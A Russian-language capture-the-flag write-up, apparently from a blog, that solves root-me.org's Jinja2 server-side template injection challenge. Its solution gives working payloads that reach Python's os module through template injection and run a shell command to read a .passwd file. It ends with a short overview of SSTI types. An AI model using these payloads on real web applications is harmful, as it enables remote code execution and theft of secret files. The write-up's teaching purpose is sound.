Найти тему

CTF — Python - Server-side Template Injection Introduction

Оглавление

Отвлечёмся от работы, переключимся на решение задач по информационной безопасности web-серверов. Сегодня задачка с портала root-me.org, называется "Python - Server-side Template Injection Introduction". За решение задачки дают 25 баллов, средний уровень.

-2

Сегодня мы встретимся с опасной уязвимостью типа SSTI.

Server-side Template Injection (SSTI) — внедрение шаблонов на стороне сервера. Внедрение шаблонов на стороне сервера — это тип уязвимости, которая может возникнуть в веб-приложениях, когда злоумышленник может внедрить вредоносный код в шаблон на стороне сервера. (Капитан Очевидность одобряет.)

Обычно код выполняется на стороне сервера и генерирует динамический контент для браузера пользователя. При атаке SSTI злоумышленник может внедрить свой код в шаблон на стороне сервера и выполнить произвольный код. Собственно, и код выполнит и результат в браузере увидит.

По условию задачи нам предложат web-сервис, который генерирует веб-страничку. Нужно использовать этот сервис для получения флага.

Ссылки

CTF — Capture The Flag

Решение

Переходим на страницу задания:

http://challenge01.root-me.org:59074/

-3

Веб сервис прост, для ввода предлагают два поля, заголовок (title) и содержимое (content). Проверим, введём что-нибудь.

-4

Генерируем страницу: Render your page! В ответ получаем JSON вида:

-5

Всё понятно, шарманка работает.

В описании задания предлагали ознакомиться с полезным материалом, предлагают статью:

https://podalirius.net/en/publications/grehack-2021-optimizing-ssti-payloads-for-jinja2/

В статье рассказывается о разных полезных нагрузках для шаблонизатора jinja2.

Jinja2 — Python-библиотека для генерации шаблонов, являющаяся де-факто стандартом при написании веб-приложений на Flask и популярной альтернативой встроенной системе шаблонов Django. Jinja2 позиционирует себя как инструмент, упрощающий вёрстку и отделяющий её от разработки. Помогает разделить работу верстальщиков и разработчиков Python.

Предположительно web-сервис основан на шаблонизаторе Jinja2. В сервисе имеется уязвимость SSTI, позволяющая выполнить стороннюю команду. Давайте проверим, можем ли мы что-нибудь внедрить. Внедрим код:

{{ 2+2 }}
-6

Получаем JSON:

-7

Пол дела сделано. Мы обнаружили что поле content уязвимо к инъекции.

Не заморачиваемся и из статьи про полезную нагрузку Jinja2 вытаскиваем эту самую полезную нагрузку:

{{ cycler.__init__.__globals__.os }}

Используя её можно получить доступ к объекту os. Сразу двигаем мысль дальше, os.getcwd() позволит нам определить текущее положение:

{{ cycler.__init__.__globals__.os.getcwd() }}
-8

Получаем JSON:

{
"content": "/challenge/web-serveur/ch74",
"title": "internet-lab.ru"
}

Мы с вами находимся в директории /challenge/web-serveur/ch74. Посмотрим её содержимое с помощью os.listdir():

{{ cycler.__init__.__globals__.os.listdir("/challenge/web-serveur/ch74") }}
-9

Получаем JSON:

{
"content": "['requirements.txt', '.git', 'templates', '._nginx.server-level.inc', '.passwd', 'server_ch74.py', 'static', '._firewall', '._perms', '._run']",
"title": "internet-lab.ru"
}

Замечаем интересный файл ".passwd". Считаем его с помощью os.popen():

{{ cycler.__init__.__globals__.os.popen('cat /challenge/web-serveur/ch74/.passwd').readlines()[0] }}
-10
-11

Флаг получен. Валидируем.

-12

И зарабатываем 25 очков.

Безопасность

Существует разные типы внедрения шаблонов на стороне сервера (SSTI), которые могут возникать в веб-приложениях. Наиболее распространенные:

  • Интерполяция строк. Вводимые пользователем данные непосредственно вставляются в строку шаблона.
  • Внедрение объекта. Злоумышленник может внедрить сериализованный объект в шаблон, который может быть десериализован и, соответственно, выполнен.
  • Внедрение кода. Злоумышленник может внедрить произвольный код в шаблон на стороне сервера и выполнять произвольные команды.
  • Внедрение команд. Пользовательский ввод используется в шаблоне для создания команды, которая потом выполняется.
  • Внедрение выражения. Злоумышленник может внедрить вредоносное выражение в шаблон и выполнить произвольный код.
  • Внедрение шаблона с помощью сценариев на стороне клиента. Злоумышленник может внедрить вредоносный код JavaScript в шаблон на стороне сервера, используя атаку межсайтового скриптинга (XSS).

Все эти типы уязвимостей SSTI могут быть опасны. Разработчикам важно знать о них и уметь предотвращать их в своих веб-приложениях.

Источник:

CTF — Python - Server-side Template Injection Introduction | internet-lab.ru

💰 Поддержать проект

Если вам понравилась статья, то ставьте 👍🏻 каналу. Пишите комментарии, задавайте вопросы, подписывайтесь.